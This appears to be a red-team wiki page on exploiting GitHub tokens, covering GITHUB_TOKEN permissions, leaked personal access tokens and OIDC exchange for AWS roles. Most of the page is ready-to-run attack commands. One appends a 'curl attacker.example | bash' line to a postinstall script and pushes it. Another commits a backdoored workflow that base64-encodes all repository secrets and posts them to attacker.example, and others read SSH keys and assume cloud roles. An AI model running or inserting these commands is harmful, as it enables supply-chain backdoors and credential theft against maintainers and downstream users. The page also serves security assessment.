Every action against GitHub is mediated by a token, and the whole of the attack is learning which token you hold, what it is scoped to, and where that scope reaches. Three token families matter: the automatically injected GITHUB_TOKEN inside a workflow run, personal access tokens (PATs) found in the wild, and the short-lived OIDC token a workflow can exchange for cloud credentials.
Reading what a token can do#
Before using a token, fingerprint it. A classic PAT advertises its scopes in a response header; this is the single most useful call against any ghp_/gho_ token you find:
curl -sI -H "Authorization: token $TOKEN" https://api.github.com/user \
| grep -iE '^(x-oauth-scopes|x-accepted-oauth-scopes):'
# x-oauth-scopes: repo, workflow, admin:org, read:packages
X-OAuth-Scopes lists what the token actually carries. repo is full control of every repo the user can access; workflow additionally allows writing .github/workflows/; admin:org is org-wide control. A fine-grained PAT (github_pat_) returns an empty scope header because its permissions are per-repo and per-resource; probe it instead:
curl -s -H "Authorization: token $TOKEN" https://api.github.com/user # whoami
gh api /user/repos --paginate -q '.[] | select(.permissions.push) | .full_name'
GITHUB_TOKEN: default permissions and scoping#
Inside a workflow, GITHUB_TOKEN is a short-lived installation token minted per run, auto-revoked when the job ends. Its power is set by the repo/org default and by any permissions: block. The historical default is read-write across the repo; the hardened default is read-only, with jobs opting back in:
permissions:
contents: write # push commits, tags, releases
packages: write # publish to GitHub Packages / GHCR
id-token: write # mint an OIDC token for cloud federation
A run with contents: write lets you push to the repo straight from the job, which is the fastest supply-chain foothold once you have execution in a workflow (see Actions workflow injection):
- run: |
git config user.email ci@acme.test && git config user.name ci
echo 'curl -s https://attacker.example/i|bash' >> scripts/postinstall.sh
git commit -am "chore: update" && git push
Note GITHUB_TOKEN cannot write to .github/workflows/ even with contents: write: changing a workflow requires the workflow scope, which GITHUB_TOKEN never has. A leaked PAT carrying workflow, by contrast, can push a malicious pipeline that then runs with full secrets.
Using a leaked PAT#
Treat a recovered PAT as the user who owns it. Authenticate every call with it and act within its scopes:
# Push a backdoored workflow (needs the `workflow` scope)
git clone https://x-access-token:$TOKEN@github.com/ACME/service.git
cat > service/.github/workflows/ci2.yml <<'YML'
on: [push]
jobs: { x: { runs-on: ubuntu-latest, steps: [ { run: 'echo "${{ toJSON(secrets) }}" | base64 -w0 | curl -s -d @- https://attacker.example/s' } ] } }
YML
cd service && git add -A && git commit -m ci && git push # the push triggers the run; secrets exfiltrate
# Mint a new PAT-like credential set for persistence where scopes allow
curl -s -H "Authorization: token $TOKEN" https://api.github.com/user/keys # read deploy/SSH keys
Pushing a workflow that runs on: [push] executes it immediately with repo secrets, converting a workflow-scoped PAT into a full secret dump without waiting for a maintainer.
OIDC token to a cloud role#
A workflow with id-token: write can request a signed OIDC JWT from GitHub and present it to a cloud provider's federation endpoint. Where the cloud trust policy is loose (wildcards on repo, ref, or audience), you assume a role with no stored secret:
- run: |
# Fetch the OIDC token GitHub offers to the job
TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# Exchange it for AWS credentials against a role trusting this repo
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::111122223333:role/ci \
--role-session-name x --web-identity-token "$TOKEN"
The returned keys are real cloud credentials. A trust policy that matches repo:ACME/* or any ref, rather than one exact repo and branch, means any workflow you can run in the org reaches that role.
Follow-on#
contents: writeor arepo/workflowPAT: push backdoors, tag poisoned releases, publish malicious packages that downstream consumers pull (supply chain).- OIDC-assumed cloud role: pivot into the connected account, see AWS identity and its role-assumption paths.
admin:orgPAT: add members, change team permissions, install Apps, and plant durable access via OAuth App and webhook abuse.- Deploy keys and registry tokens dumped alongside: direct access to build infra and artifact registries.
Exploitation notes#
- Always read
X-OAuth-Scopesfirst; it is the fastest classifier for classic PATs and saves blind probing. - An empty scope header means a fine-grained PAT or a GitHub App token; enumerate accessible repos and their
permissionsinstead. GITHUB_TOKENis powerful but cannot touch.github/workflows/and dies with the job; aworkflow-scoped PAT is the durable pipeline write primitive.- Loose cloud OIDC trust (
subwildcards) is the common misconfiguration that turns any org workflow into cloud access; check the trust policy'ssubandaudconditions.
Tools#
- gh: authenticate with a found token (
GH_TOKEN=... gh api) to enumerate and act within its scope. - gato (Praetorian): identifies repos where a
GITHUB_TOKENor PAT reaches secrets and self-hosted runners. - Configure AWS Credentials action (
aws-actions/configure-aws-credentials): reference implementation of the OIDC exchange, useful for understanding the trust conditions.
References#
- GitHub: automatic token authentication and GITHUB_TOKEN permissions
- GitHub: about OIDC hardening for cloud deployments
- GitHub: scopes for OAuth and personal access tokens
- Rhino Security Labs: assessing GitHub tokens and scopes
- Tinder Security Labs: identifying vulnerable GitHub Actions OIDC trust policies